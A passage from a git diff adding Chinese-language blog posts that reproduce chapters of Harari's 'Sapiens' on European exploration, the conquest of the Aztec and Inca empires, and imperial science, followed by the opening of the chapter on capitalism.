+现代这种“探索、征服”的心态，从世界地图的演变可以看得一目了然。早在历史进到现代之前，许多文化就已经有了自己的世界地图。当然，当时并没有人真正知道全世界是什么样子，在亚非大陆上的人对美洲一无所知，美洲文化也不知道亚非大陆上的情形。但碰到不熟悉的地区，地图上不是一笔未提，就是画上了想象出来的怪物和奇景。这些地图上并没有空白的空间，让人觉得全世界就在自己的掌握之中。 +在15、16世纪，欧洲人的世界地图开始出现大片空白。从这点可以看出科学心态的发展，以及欧洲帝国主义的动机。地图上的空白可以说是在心理及思想上的一大突破，清楚表明欧洲人愿意承认自己对于一大部分的世界还一无所知。 +图23 1459年欧洲人的世界地图。可以看到地图上似乎巨细靡遗，就算是当时欧洲人根本一无所知的南非地区，都有密密麻麻的信息。 +1492年，哥伦布从西班牙出发向西航行，希望能找到一条前往东亚的新航线。哥伦布当时相信的仍然是旧的世界地图，以为全世界在地图上一览无遗。哥伦布从旧地图推算，日本应该位于西班牙以西大约7000公里远。但事实上，从西班牙到东亚的距离要超过两万公里，而且中间还隔着个他不知道的美洲大陆。1492年10月12日大约凌晨2点，哥伦布一行人与这片未知大陆有了第一次接触。皮塔号（Pinta）的了望手胡安·罗德里格斯·贝尔梅霍（Juan Rodriguez Bermejo）从桅杆上看到了现在的巴哈马群岛，高呼着：“有陆地！有陆地！” +哥伦布当时相信这个小岛就位于东亚海外，属于“Indies”（印度地方，包含今日印度、中南半岛及东印度群岛等地），所以他把当地人称为“Indians”（这正是美国原住民也被称为“印第安人”的原因）。一直到他过世，哥伦布都不认为自己犯了一个大错。不论是对他还是许多当代的人来说，说他发现了一个完全未知的大陆，这根本难以想象。毕竟千百年来，不管是那些伟大的思想家和学者甚至是不可能犯错的《圣经》，都只知道有欧洲、非洲和亚洲。怎么有可能他们全错了呢？难道《圣经》居然漏了大半个世界，只字未提？这种情况，就好像是说在1969年阿波罗11号要前往月球的途中，居然撞到了另一个从来没人看到的月亮。而正因为哥伦布不愿意接受自己的无知，我们可以说他仍然是个中世纪的人，深信着自己已经知道了全世界，所以就算已经有了如此重大的发现，也无法说服他。 +至于第一个成为“现代人”的，其实是意大利水手亚美利哥·韦斯普奇（Amerigo Vespucci），他曾在1499~1504年多次航行前往美洲。而在1502~1504年间，欧洲有两篇描述这些航程的文章发表，一般人们相信就出于韦斯普奇之手。这两篇文章提出，哥伦布发现的小岛旁边应该不是东亚，而是一整个大陆，而且不管是《圣经》、过去的地理学者或是当时的欧洲人，在先前都不知道这块大陆的存在。1507年，地图绘制大师马丁·瓦尔德泽米勒（Martin Waldseemüller）相信了这种说法，出版了新版的世界地图。于是，这片西班牙船队向西航行所碰上的土地，终于首次以一块独立大陆的姿态出现在地图上。既然要画，瓦尔德泽米勒就得给它取个名字，但他误以为发现美洲的人是亚美利哥·韦斯普奇，因此为了向他致敬，这片大陆就被命名为“America”（美洲）。瓦尔德泽米勒的地图洛阳纸贵，其他许多地图绘制师也跟着有样学样，因此“美洲”这个名词就这样广为流传。说来也算是老天有眼，到头来，全球有1/4的陆地、七大洲之中的两洲，名字就是来自一个名不见经传的意大利人，而他唯一做的事就只是有勇气说出“我们不知道”。 +发现美洲，对于科学革命是一大奠基事件。这不但让欧洲人知道实际的观察比过去的传统更重要，而且想征服美洲的欲望也让欧洲人开始求知若渴。他们如果真想控制这片广大的新领地，就一定得收集所有相关地理、气候、植物、动物、语言、文化、历史的庞大数据。在这些时候，不管是基督教《圣经》、过时的地理书籍或是古老的口传知识，都无用武之地。 +从此之后，不只是欧洲地理学家，欧洲几乎所有知识领域的学者都学会了留白这一套，诚实面对自己领域的无知，并试着加以填补。他们开始承认自己的理论还不完美，一定还有什么尚未得知的重要信息。 +图24 1525年的萨尔瓦提世界地图（Salviati World Map）。1459年版的世界地图上画满了各个大陆、岛屿，而且还有详细的解释，但萨尔瓦提地图则有大片留白。我们可以看到美洲的海岸线一路向下之后，接着就是一片空白。任何人只要有一点点的好奇心，看到这份地图之后一定会问：“在那后面有什么呢？”地图上没有答案。这就像是一份邀请，请读者亲身起航、一探究竟。 + + +* * * +地图上的空白就像一块磁铁，让欧洲人前仆后继，希望填补这些空白。在15、16世纪，欧洲探险队绕过了非洲、深入了美洲，越过太平洋和印度洋，在世界各地建起了基地和殖民地的网络。这是全球性帝国的真正首次登场，也首次出现了全球性的贸易网络。欧洲帝国远征改变了世界的历史：原本一些独立的民族和文化各自发展，现在则成了单一的人类社会进程。 +正因为我们已经太熟悉欧洲这些“探索、征服”的过程，常常忘了这件事其实非常特殊。在这之前，世界上从来没发生过这种事。要这样千里迢迢去征服别人，绝不是什么自然的举动。纵观历史，大多数人类社会光是处理地方冲突、邻里争吵就已经无暇他顾，从来没想过要前往远方探索、征服遥远的国度。绝大多数的大帝国向外侵略只着眼于邻近地区，之所以最后幅员广大，只是因为帝国不断向邻近地区扩张而已。像是古罗马人在公元前350年至公元前300年征服伊特鲁里亚（Etruria，约为现代意大利中西部），目的只是为了保卫古罗马的安全。接着在公元前200年左右征服波河流域（Po Valley，约在意大利北部），目的只是为了保卫伊特鲁里亚。接着，他们又征服了普罗旺斯以保卫波河流域（约公元前120年），征服高卢以保卫普罗旺斯（约公元前50年），最后再征服了不列颠以保卫高卢（约公元50年）。古罗马帝国从罗马延伸到伦敦，总共花了400年。在公元前350年，没有古罗马人会打算直接乘船扬帆征服不列颠。 +虽然偶尔会有某个雄心勃勃的统治者或冒险家，展开长途的征讨或探险，但通常都是顺着早已成形的帝国道路或商业路线进行。以亚历山大大帝为例，他并未建立新的帝国，而是推翻并接手了原本就已存在的波斯帝国。最接近现代欧洲帝国的例子，在古代是雅典和迦太基这两大海上帝国，至于中世纪则是位于现今印度尼西亚泗水一带、曾在14世纪掌控大半印度尼西亚地区的满者伯夷（Majapahit）海上帝国。但就算是这些帝国，它们也很少会贸然前往未知的海域，如果和现代欧洲人的全球大航海相比，古代的帝国可说只是地方事业。 +许多学者认为，中国明代郑和下西洋，不但时间早于欧洲，而且规模也有过之而无不及。在1405~1433年间，郑和七次下西洋，最远抵达了印度洋的彼端。规模最大的一次，舰队有将近300艘船，成员近三万人。87他们曾抵达印度尼西亚、斯里兰卡、印度、波斯湾、红海和东非。中国船只曾停靠在沙特阿拉伯一带主要的港口吉达（Jedda），也曾停泊在肯亚沿海的马林迪（Malindi）。相较之下，哥伦布在1492年的船队只有三条小船，带了120个水手，简直就像是小蚊子碰上大飞龙。88 +然而，这两者有一项关键的区别。郑和下西洋四处探访，对拥护明朝的各国君主提供协助，但并未试图攻占或殖民他国。此外，郑和的远征并没有深厚的中国政治文化基础。因此，在15世纪30年代明宣宗派郑和最后一次下西洋之后，便突然告终。曾叱咤一时的伟大舰队遭到解散，珍贵的技术和地理知识亡逸，从此再也没有具备此等眼界及资源的航海探险家从中国出航。接下来数百年间，中国的君王依循着先前数百年的做法，其兴趣和野心仅仅及于四方邻国而已。 +郑和下西洋得以证明，当时欧洲并未占有科技上的优势。真正让欧洲人胜出的，是他们无与伦比而又贪得无厌、不断希望探索和征服的野心。而在过去，虽然他们可能也有能力做到，但古罗马从未试图征服印度或北欧，波斯从未试图征服马达加斯加或西班牙，中国也从未试图征服印度尼西亚或非洲。中国历代以来，甚至连邻近的日本都相安无事。原本，这一切就是如此自然。真正奇怪的，是为何现代早期的欧洲人忽然有了这股狂热，起航前往遥远而完全陌生、充满异国文化的地方，不仅踏上他人的海岸，还立刻大声宣告“此疆已归吾王所有”。 +如同来自外层空间的侵略者 +约在1517年，原本待在加勒比海群岛的西班牙殖民者开始听到传言，似乎在墨西哥内陆有个强大的帝国。不过短短四年后，阿兹特克帝国的首都就只剩下闷烧的废墟，整个帝国成了过去式。墨西哥成了一个新的西班牙帝国，掌理一切的就是荷南·科尔特斯。 +而且，西班牙人并没有停下脚步来庆贺，甚至可以说连喘口气的时间也不浪费，立刻向四方展开了同样的“探索、征服”行动。不论是阿兹特克人、托尔特克人（Toltecs）或是玛雅人，两千多年来，这些中美洲过去的统治者几乎不知道有南美洲的存在。然而，西班牙人征服墨西哥后短短不到10年，弗朗西斯科·皮萨罗（Francisco Pizarro）不但发现了南美的印加帝国，还在1532年就把它灭了。 +地图6 西班牙入侵时的阿兹特克和印加帝国。 +如果当时阿兹特克和印加人对于周遭的世界多一点好奇，知道西班牙人把自己的邻居给怎么了，就有可能更积极而成功地抵御西班牙的入侵。从哥伦布第一次抵达美洲（1492年）到科尔特斯登陆墨西哥（1519年），西班牙人已经征服了大多数的加勒比海群岛，建立起新的殖民岛链。对于受奴役的当地人来说，这些殖民地就像是人间地狱。殖民者既贪婪又无情，以铁腕政策逼迫他们在矿场或农场工作，只要他们敢有一丝反抗，就会立刻遭到杀害。不论是因为极度恶劣的工作环境，还是搭上征服者便船而来的欧洲疾病，当地原住民快速大量死亡。不到20年，整个加勒比地区的原住民几近灭绝。西班牙殖民者开始得从非洲进口奴隶来填补空缺。 +这场种族灭绝的浩劫可以说就发生在阿兹特克帝国的家门口，但等到科尔特斯终于踏上帝国东海岸的时候，阿兹特克人对这一切仍然一无所知。对他们来说，西班牙人的到来，几乎就像是有外星人来访。阿兹特克人深信自己早就认识了全世界，而且相信绝大多数都在阿兹特克帝国的控制之下。对他们来说，帝国以外竟然还有像西班牙人这种玩意儿，简直是无法想象。所以，等到科尔特斯和部下来到今天的韦拉克鲁斯（Vera Cruz）一带，登上了阳光明媚的海滩，这是阿兹特克人第一次碰到了完全陌生的人类。 +他们完全不知道该如何反应，连这些陌生人究竟算是什么也无法确定。对他们来说，这些陌生人与所有已知的人类都长得不同，有苍白的皮肤、浓密的脸部毛发、如阳光色泽的头发，而且还臭得难以想象。（阿兹特克的卫生水平远高于西班牙。西班牙人第一次来到墨西哥的时候，不论到了哪里，当地人都派人带着熏香随行。西班牙人原本以为这是代表无上的荣耀。但我们从当地文献发现，这其实是因为当地人觉得这些新来的人实在是臭不可闻。） +此外，这些外来客的物质文明更是让阿兹特克人深感迷惑。像是西班牙人乘的大船，阿兹特克人想也没想过，更别提亲眼见过。西班牙人会骑乘高大而恐怖的动物，移动迅疾如风。西班牙人还能够拿着闪闪发亮的金属棍子，发出闪电和雷声。此外，西班牙人还有光亮的长剑、坚不可摧的铠甲，当地的木剑和燧石矛完全无法相提并论。 +所以，有些阿兹特克人觉得这些人一定是神；但也有人认为这些人是恶魔、死去的灵魂或是强大的巫师。于是，阿兹特克人并未立刻举全国之力消灭这些西班牙人，而是打算先想一想、等一等、谈一谈。他们并不觉得有什么着急的必要。毕竟，科尔特斯一行总共还不到550人，帝国人口高达百万，哪有什么好担心的呢？ +虽然科尔特斯对于阿兹特克人也同样一无所知，但他和手下占了一项显著的优势。阿兹特克人面对这些长相奇怪、气味熏人的外来者，毫无过去经验得以参考；但西班牙人早就知道地球上有各种未知的人类疆域，而且讲到入侵他人国土、应付未知情况，他们也算是行家中的行家。现代欧洲的征服者心态正如同当时的科学家，对于未知充满兴奋。 +所以，科尔特斯在1519年7月踏上那片洒满阳光的海滩时，没有一丝的犹豫。就像是科幻小说里外星人走出宇宙飞船一样，他向那些惊呆的当地人宣告着：“我们是为了和平而来。带我们去见你们的首领。”科尔特斯说自己是西班牙伟大国王的和平使者，希望能和阿兹特克的统治者蒙提祖马二世（Montezuma II）进行外交对谈。（这是一个无耻的谎言。科尔特斯所率领的，是由一群贪婪的冒险家组成的独立探险队。西班牙国王根本没听说过科尔特斯，也没听说过阿兹特克人。）从当地与阿兹特克人敌对的部落，科尔特斯得到了向导、食物和一些军事援助，接着他就大摇大摆地走向阿兹特克的首都：繁华热闹的特诺奇蒂特兰（Tenochtitlan）。 +阿兹特克人就这样让这群外来者一路来到首都，还恭恭敬敬地带着他们去见皇帝蒙提祖马二世。谒见到中途，科尔特斯一声令下，配备着铁制武器的西班牙人杀光了蒙提祖马的守卫（他们毕竟只配有木棍和石刀）。原本的嘉宾，就这样让主人成了阶下囚。 +这时，科尔特斯的处境十分微妙。虽然皇帝在他手上，但他位于一个几乎一无所知的大陆，还被几万个愤怒的战士、几百万个与他敌对的平民团团包围。他能够依赖的只有几百个西班牙手下，另外最接近的西班牙援军在古巴，足足有超过1500公里之遥。 +科尔特斯将蒙提祖马二世囚在宫中，安排得似乎皇帝仍然可自由活动、掌管一切，而他这位“西班牙大使”就是个客人。因为阿兹特克帝国属于权力极度集中的政体，这种前所未有的局面让整个帝国陷入瘫痪。表面上看来，蒙提祖马二世仍然统治着帝国，阿兹特克的贵族精英也继续听他号令，但其实就是科尔特斯挟天子以令诸侯。这种情况为期数个月之久，而在这段时间，科尔特斯一面审问蒙提祖马二世和他的侍从，一面训练各种当地语言的翻译员，还向四面八方派出许多西班牙人探险小队，熟悉阿兹特克帝国的各个部落、民族和城市。 +最后，阿兹特克人的贵族精英终于起身反抗科尔特斯和蒙提祖马二世，他们推举了新皇帝，一举将西班牙人赶出了特诺奇蒂特兰。然而，原本坚不可摧的巍然帝国已经出现许多裂缝。靠着收集来的信息，科尔特斯得以利用帝国内部的嫌隙，进一步加以分裂。他说服了许多帝国的属民，和他一起对抗阿兹特克的贵族精英。这些属民可以说是大大失算。虽然他们也痛恨阿兹特克人的统治，但他们既不认识西班牙人，更不知道发生在加勒比海地区的种族灭绝惨剧，只是天真地以为，有了西班牙人帮助，就能摆脱阿兹特克人的枷锁。他们从没想过，最后只是统治者从阿兹特克人换成了西班牙人。而且，他们也相信就算科尔特斯这几百个人心怀不轨，自己可以轻松把他们处理掉。于是，这批人为科尔特斯提供了数以万计的当地军队，让科尔特斯得以围攻特诺奇蒂特兰城，最后得以成功占领。 +到了这个时候，开始有越来越多西班牙士兵和殖民者陆续抵达，有些来自古巴，也有人是直接从西班牙远道而来。等到当地居民终于看清真相，为时已晚。就在科尔特斯踏上韦拉克鲁斯海滩的一世纪间，美洲原住民人口锐减九成，主因是这些入侵者带来的疾病。就算是幸存者，也发现自己现在落在一群贪婪无比、充满种族歧视的人手中，比起阿兹特克远远有过之而无不及。 +科尔特斯登陆墨西哥的10年后，皮萨罗抵达印加帝国的海岸。他的人手甚至比科尔特斯还少，总数只有168个人！然而，有了先前入侵的知识和经验，皮萨罗胜券在握。相对而言，印加帝国对阿兹特克人的命运依旧一无所知。皮萨罗完全抄袭了科尔特斯那一套。他先声称自己是西班牙国王派来的和平使者，请求谒见印加国王阿塔瓦尔帕（Atahualpa），接着国王便遭到绑架。接着，皮萨罗同样靠着与当地部落结盟，先瘫痪再征服了整个帝国。如果印加帝国的属民知道墨西哥那边人民的下场，想必不会如此轻信这些侵略者。然而，他们就是不知道。 +* * * +因为视野狭隘而付出沉重代价的，并不只有美洲原住民而已。在亚洲当时的各大帝国（奥斯曼土耳其、波斯帝国、莫卧儿帝国以及中国）很快就听说欧洲似乎有了重大发现。然而，他们对这件事却没什么兴趣，还是继续相信这个世界是以亚洲为中心旋转，完全没打算和欧洲人争夺美洲或是大西洋、太平洋的新航道。当时，甚至像苏格兰和丹麦这种国力不振的欧洲王国都曾经几次前往美洲探索征服，但伊斯兰世界、印度和中国却是无动于衷。所有的非欧洲政权中，第一个派出军事远征队前往美洲的是日本。在1942年6月，一支日本的远征军占领了阿留申群岛的吉斯卡岛（Kiska）和阿图岛（Attu），这两个岛位于阿拉斯加海岸，而过程中还俘虏了10名美军士兵和一条狗。但日本就再也没有向大陆更进一步了。 +有人说奥斯曼帝国或中国就是因为距离太远，或是缺乏相关的科技、经济或军事工具手段。但这种说法实在很难说得通。郑和早在15世纪20年代就已经能远赴东非，理论上要到美洲也并非难事。可见中国确实就是不感兴趣而已。像是在中国发行的地图上，一直要到1602年才终于出现了美洲，而且这地图还是欧洲传教士画的！ +整整300年间，无论在美洲、大洋洲、大西洋、太平洋，都是由欧洲人完全宰制。就算出现任何值得一提的冲突，也只是欧洲列强之间的内斗。于是，欧洲人积累大量财富和资源，终于让他们也有能力入侵亚洲、击败各大帝国，再进行欧洲人之间的分赃作业。等到奥斯曼、波斯、印度和中国终于惊觉情势不对，为时已晚。 +* * * +一直要到20世纪，欧洲以外的各个文化才真正有了全球观点。而这正是让欧洲霸权崩溃的关键因素之一。像是在阿尔及利亚独立战争（1954~1962）期间，虽然法国军队具备了压倒性的人数、科技和经济优势，却还是被阿尔及利亚游击队击败。原因在于，阿尔及利亚人一方面得到了全球性的反殖民网络支持，一方面也学会如何引导全球媒体的倾向（包括法国本身的舆论）。另外，小小的越南居然能击败如巨人般的美国，也是基于类似的战略。我们从这些游击队可以看到，就算是超级强权，也可能在某个当地抵抗活动成为全球事件之后败下阵来。有趣的是，我们可以假设一下，如果蒙提祖马二世当时能够操纵在西班牙的舆论，取得西班牙敌对国（葡萄牙、法国或奥斯曼帝国）的支持，情况会如何有所不同？ +罕见的蜘蛛，被遗忘的文字 +现代科学和现代帝国背后的动力都是一种不满足，觉得在远方一定还有什么重要的事物，等着他们去探索、去掌握。然而，科学和帝国之间的连接还不仅如此而已。两者不只动机相同，连做法也十分类似。对现代欧洲人来说，建立帝国就像是一项科学实验，而要建立某个科学学科，也就像是一项建国大计。 +穆斯林征服印度的时候，并没有带上考古学家、地质学家、人类学家或动物学家来好好研究印度的历史、文化、土壤和动物。但换成英国征服印度之后，一切都不同了。1802年4月10日，英国开始印度大调查，足足持续长达60年。期间动用数以万计的当地劳工、学者和导游，精心绘制了整个印度的地图，标示出边界、测量出距离，甚至珠穆朗玛峰和喜马拉雅山的其他山峰的精确高度也是此时完成测量。虽然英国确实四处探勘印度各省的军事及金矿资源，但他们同时也不辞劳苦地收集了关于罕见印度蜘蛛的信息，为各种色彩斑斓的蝴蝶编目，追查已经失传的印度语言源头，以及挖掘一处又一处遭到遗忘的废墟。 +在印度河流域文明之中，曾有一个大城摩亨佐–达罗（Mohenjo-daro，印度语“死亡之谷”），在大约公元前3000年一片繁华，但到了公元前1900年却遭到摧毁。在英国之前，不管是孔雀王朝、笈多帝国、德里的苏丹，或是伟大的莫卧儿帝国，这些印度统治者从来没对这片废墟多瞧上一眼。然而，英国一项考古调查在1922年发现了这片遗迹，派出考古小组加以挖掘，就这样发现了印度最早的伟大文明。而这点在之前没有任何印度人曾有意识。 +另一项可以看出英国科学好奇心的，则是楔形文字的破译过程。楔形文字曾经是中东地区长达3000年左右主要使用的文字，但可能在大约第一个千禧年开始的时候，能够识读这种文字的人就都已过世。从那时之后，虽然当地居民常常看到刻有楔形文字的纪念碑、石碑、古遗迹和碎锅碎盆，但从来不知道该怎么读着这长相怪异、有棱有角的文字，而且据我们所知，他们也从来没有任何尝试。一直到1618年，欧洲人开始发现楔形文字。当时西班牙在波斯的大使前往古代城市波斯波利斯（Persepolis）的遗迹参观，看到了这些文字，而且居然没有人能向他解释。欧洲学者口耳相传，知道发现了一种未知的文字，让他们好奇心大作。1657年，欧洲学者发表了第一份来自波斯波利斯的楔形文字抄本，后续的抄录越来越多，在接下来的两个世纪间，许多西方学者都为了试图破译而大伤脑筋，但没有人成功。 +到了19世纪30年代，一位名为亨利·罗林森（Henry Rawlinson）的英国军官被派往波斯，要协助波斯以欧洲的方式来训练军队。在他的闲暇时间，罗林森便在波斯四处游览，某天当地向导带他来到札格罗斯山脉（Zagros Mountains）的一处悬崖，让他看看巨大的贝希斯敦铭文（Behistun inscription）。这则铭文大约高15米、宽25米，是在大约公元前500年由波斯国王大流士一世下令刻在这处悬崖上，而且分别使用了三种楔形文字：古波斯语、埃兰语（Elamite）和巴比伦语。虽然当地民众人人都知道有这处铭文，但没人读得懂。罗林森相信，只要能破译这些文字，他和其他学者就能够了解当时在中东各地大量出土的文字究竟是什么意思，那样便可说是打开了一扇大门，能够前往远古被遗忘的世界。 +想要破译这些文字，第一步就是要能精确地加以抄录，好传回欧洲。于是，罗林森冒着生命危险，爬上这处悬崖，把这些奇怪的字母全部抄了下来。他也雇用了几位当地民众协助，其中特别是一个库德族的男孩，得爬到那些最难抵达的地方，好抄下铭文的上半部。1847年，这项完整并准确的抄录终于完成，送往欧洲。 +罗林森并未就此满足。虽然他身为军官有军事和政治上的任务要完成，但一有空暇时刻，他就不断研究这份神秘的文字，想方设法，最后终于让他成功破译了一部分的古波斯语碑文。这项工作之所以相对简单，是因为古波斯语和现代波斯语的差别并不太大，而罗林森对现代波斯语知之甚详。了解了古波斯语的部分之后，就让他掌握了解码埃兰语和巴比伦语部分的关键。于是，这扇大门终于敞开，让我们仿佛听到了古代喧嚣繁忙的声音，有苏美尔集市的人声鼎沸、亚述国王的洪亮宣告，以及巴比伦官僚之间的种种争论。如果没有像罗林森这种现代欧洲帝国主义者，许多古代中东帝国的命运就不会像现在这样为人所知。 +* * * +另一位重要的帝国主义学者是威廉·琼斯（William Jones）。他在1783年9月抵达印度，担任孟加拉地区最高法院的法官，从此对印度深深着迷，不到半年就成立了亚洲学会（Asiatic Society）。这个学术组织致力于研究亚洲的文化、历史和社会，其中又特别以印度为重。在两年后，琼斯发表了他对梵文的观察，成为现代比较语言学学科的奠基之作。 +梵文是一种古老的印度语言，后来成为印度教神圣仪式中所用的语言。但琼斯指出，梵语竟然和希腊文、拉丁文有惊人的相似之处，而且这些语言也都和哥特语、凯尔特语、古波斯语、德语、法语和英语若合符节。例如梵文的“母亲”是“matar”，而古凯尔特语则是“mathir”。据琼斯推测，所有这些语言一开始必定有共同的来源，那是个古老而已经被遗忘的语言祖先。就这样，他是第一个发现后来称为“印欧语系”这套体系的人。 + + +琼斯的研究之所以重要，除了是因为他提出了一项大胆（而且正确）的假设，也是因为他发展出了一套能够系统化比较语言的过程。其他学者也采用了这套研究方法，于是就能开始系统化研究世界上所有的语言发展。 +语言学这项学科得到帝国的热烈支持。欧洲帝国相信，为了让统治更有效，就必须了解这些属民的语言和文化。当时，英国派驻印度的官员必须在加尔各答的一所学校上课三年，上课内容除了英国法律，也得读印度法律和穆斯林法律；除了希腊语和拉丁语，也得学梵语、乌尔都语和波斯语；除了数学、经济学和地理学，也必须学习泰米尔、孟加拉和印度文化。学习语言学之后，对于了解当地语言的结构和文法大有帮助。 +有了像是威廉·琼斯和亨利·罗林森等人的研究后，欧洲征服者对于帝国的情形了如指掌，不仅超过以往所有征服者，甚至连当地民众都得自叹弗如。而更多知识也带来了明显的实际利益。印度人口有数亿之多，而英国在印度的人数相较之下少得荒谬；要不是因为他们所拥有的知识，英国不可能得以掌握、压迫和剥削这么多印度人达两个世纪之久。从整个19世纪到20世纪初，靠着不到5000人的英国官员、大约4万到7万个英国士兵，可能再加上大约10万个英国商人、帮佣、妻小等等，英国就征服并统治了全印度大约3亿人口。89 +然而，帝国之所以会资助语言学、植物学、地理学和历史学，并不只是为了实用因素。另一项同样重要的原因，在于科学能够从思想上让帝国合理化。现代欧洲人开始相信“学习新知”一定是好的。正因为帝国不断产生新知，让他们自以为自己的管理代表着进步、正面、积极。就算到了今天，讲到地理学、考古学和植物学的历史，还是不能不提欧洲帝国直接或间接的协助。例如讲到植物学的历史，很少会提到澳大利亚原住民为此受尽折磨，而只是大肆赞扬詹姆斯·库克和约瑟夫·班克斯。 +此外，帝国取得新知之后，至少理论上应该能有益于当地被征服的民族，让他们享受到“进步”的好处；例如获得医疗和教育、修筑铁路和运河，以及确保司法公正、经济繁荣。帝国主义声称，他们的管理不是某种泛滥的剥削行为，而是一种利他的举动，是要照顾这些非欧洲民族。以英国作家拉迪亚德·吉卜林（Rudyard Kipling）的话来说，这是一种“白人的承担”： +挑起白人的承担—— +派出最佳的子民—— +让自己的子嗣形同流放 +只为了满足俘虏的需要； +穿戴所有重装备， +服务那些烦躁野蛮—— +新掳获、性格阴沉的人民， +他们一半是魔鬼，一半是幼稚的小孩。 +当然，事实往往会戳破这些虚构的故事。1764年英国征服孟加拉地区，当时这是印度最富有的省份。这批新的统治者除了横征暴敛之外并无心治理，所实行的经济政策简直是场灾难，短短几年后便导致孟加拉地区大饥荒爆发。饥荒始于1769年，在1770年达到顶峰，而且一直持续到1773年才结束。在这场灾难中，有1000多万人死亡，相当于全孟加拉地区的1/3。90 +事实就是，不管是只讲到英国的压迫和剥削，还是只讲到“白人的承担”，都不是完全的事实。毕竟，欧洲各帝国以这么大的规模做了这么多的事，不管是想站在哪一边，都可以找到许许多多的事件加以佐证。你觉得这些帝国就是邪恶的怪物，在全球各地四处散播死亡、压迫和歧视吗？随便把他们的罪行列出来，就足以编成一部百科全书了。你觉得这些帝国其实为属民提供了新的医药、更佳的经济环境、更多的安全吗？随便把他们的成就列出来，也足以编成另一部百科全书。正因为帝国与科学密切合作，就让它们有了如此强大的力量，能让整个世界大为改观；也是因为如此，我们很难简单断言它们究竟是善是恶。正是帝国创造了我们所认识的世界，而且，其中还包含我们用以判断世界的意识形态。 +然而，科学也被帝国主义者用于某些邪恶的用途。不论生物学家、人类学家，甚至语言学家都提出了某些科学证据，证明欧洲人优于其他所有民族，因而有权力（或许也是责任？）统治他人。自从威廉·琼斯提出所有印欧语言同源同宗、来自某一个特定的远古语言，学者前仆后继，都渴望找出究竟是谁曾经说着这种语言。他们注意到，最早的梵语母语民族是在大约3000年前、从中亚入侵印度，他们自称为“雅利亚”（Arya）。而最早的波斯语母语者则自称为“艾利亚”（Airiia）。于是欧洲学者推测，这些讲着梵语和波斯语（以及希腊语、拉丁语、哥特语、凯尔特语）原始语言的人，一定是某种“雅利安人”（Aryan）。会不会真这么巧，伟大的印度、波斯、希腊和罗马文明都是雅利安人所创？ +接下来，英、法、德各国学者开始把对雅利安人的语言学理论与达尔文的自然选择理论结合，认为所谓的“雅利安人”不只是语言族群，而是某种生物族群，也就是一个种族。而且，这可不是什么随随便便的种族，而是一个上等种族，他们身材高大、金发碧眼、工作勤奋而且极度理性，他们就这样从北方的迷雾中走出来，奠定了全世界文化的基础。但遗憾的是，入侵印度和波斯的雅利安人开始与当地原住民通婚，于是不再有白晰的肤色与金发，也失去了理性和勤奋。于是，印度和波斯的文明每况愈下。但在欧洲可就不同了，雅利安人还是维持着纯洁无污染的种族特性。正因如此，欧洲人必须要征服世界，而且他们最适合做世界的统治者；不过可得小心，别遭到其他劣等种族混血污染。 +在几十年间，这种种族主义理论曾经甚嚣尘上，但现在已经成了科学家和政治家不敢再提的诅咒禁忌话题。虽然我们还是英勇地抵抗着种族主义，但却没发现战线已经转移，过去种族主义在帝国思想中所占的位置，现在都由“文化主义”（culturism）所取代。目前这个词尚未明确定义，但差不多是可以提出这个概念的时候了。对今日许多精英分子而言，要比较判断不同人群的优劣，几乎讲的总是历史上的文化差异，而不再是种族上的生物差异。我们不再说“这就存在于他们的血液里”，而是说“这就存在于他们的文化里”。 +因此，就算是反对穆斯林移民的欧洲右翼政党，也会小心避开种族歧视的用语。以法国极右派政党民族阵线（Front National）为例，党魁玛琳·勒·庞（Marine le Pen）绝不可能在电视上大声表示“我们不希望这些下等的闪族人污染我们的雅利安人血统、破坏我们的雅利安人文明”。然而，不管是法国的民族阵线、荷兰的自由民主党（Party for Freedom）还是奥地利的奥地利未来联盟（Alliance for the Future of Austria）都认为，西方文化根植发展于欧洲，具有民主、宽容、性别平等诸多特质，而穆斯林文化根植发展于中东地区，于是具有阶级政治、宗教狂热、歧视女性的特质。正因为这两种文化如此不同，而且许多穆斯林移民不愿（或许也不能）采纳西方的价值观，所以欧洲不应允许他们移居进入西方社会，以免造成内部冲突、破坏欧洲民主和自由主义。 +这些文化主义者的论点，也有一套人文社会科学在背后支持，强调的是所谓的文化冲突以及不同文化之间根本的差异。并不是所有的历史学家和人类学家都接受这些理论或是支持它们在政治上的应用。然而，现在的生物学家已经可以指出现有人类族群之间的生物差异小到可以忽略，从而轻松推翻种族主义，但对于历史学家和人类学家来说，要推翻文化主义却没那么简单。毕竟，如果人类文化之间的差异真是那么微不足道，我们又为什么要付钱给历史学家和人类学家，请他们做研究？ +* * * +科学家为帝国提供了各种实用知识、思想基础和科技工具，要是没有他们，欧洲人能否征服世界实在仍是未定之数。至于征服者报答科学家的方式，则是提供各种信息和保护，资助着各种奇特迷人的研究，而且将科学的思考方式传到地球上的每一个偏远角落。如果没有帝国的支持，科学能否发展得如此蓬勃，也仍在未定之天。绝大多数的科学学科一开始的目的，都只是为了让帝国继续发展，而且许多发现、收集、建筑和学术也都多亏了有陆海军及帝国统治者的慷慨协助。 +显然，这还不是故事的全貌。除了帝国之外，还有其他因素支持着科学的发展。而且，欧洲各个帝国能够蓬勃兴盛，原因也不仅仅是科学而已。不论是科学还是帝国，它们能够迅速崛起，背后都还潜藏着一股特别重要的力量：资本主义。要不是因为商人想赚钱，哥伦布就不会抵达美洲，库克船长就不会抵达澳大利亚，阿姆斯特朗也就没办法在月球上跨出他那重要的一小步。 diff --git a/_posts/2017-01-06-208-sapiens-cp16.md b/_posts/2017-01-06-208-sapiens-cp16.md new file mode 100644 index 0000000..38d38fe --- /dev/null +++ b/_posts/2017-01-06-208-sapiens-cp16.md @@ -0,0 +1,122 @@ +--- +layout: post +title: 第十六章资本主义教条 +pid: 208 +tags: [人类简史：从动物到上帝] +--- +第十六章 +资本主义教条 +不论是建立帝国还是推广科学，没有钱都是万万不能的。然而，金钱究竟是这些作为的最终目的，又或是个避不掉的危险？ +我们很难掌握金钱在现代历史中究竟扮演了什么角色。虽然已经有许多著作，告诉我们各个国家是如何成也金钱、败也金钱，我们也看到金钱是如何为人类展开新视野，但也让数百万人遭受奴役，如何推动着产业的巨轮，但又让数百种的物种惨遭灭绝，然而，想要了解现代经济史，其实重点就只有一个词：成长。不论结果是好是坏，究竟是生病还是健康，现代经济就像是一个荷尔蒙过盛的青少年一样不断成长，吞噬着它看到的一切，而且成长的速度叫人完全赶不上。 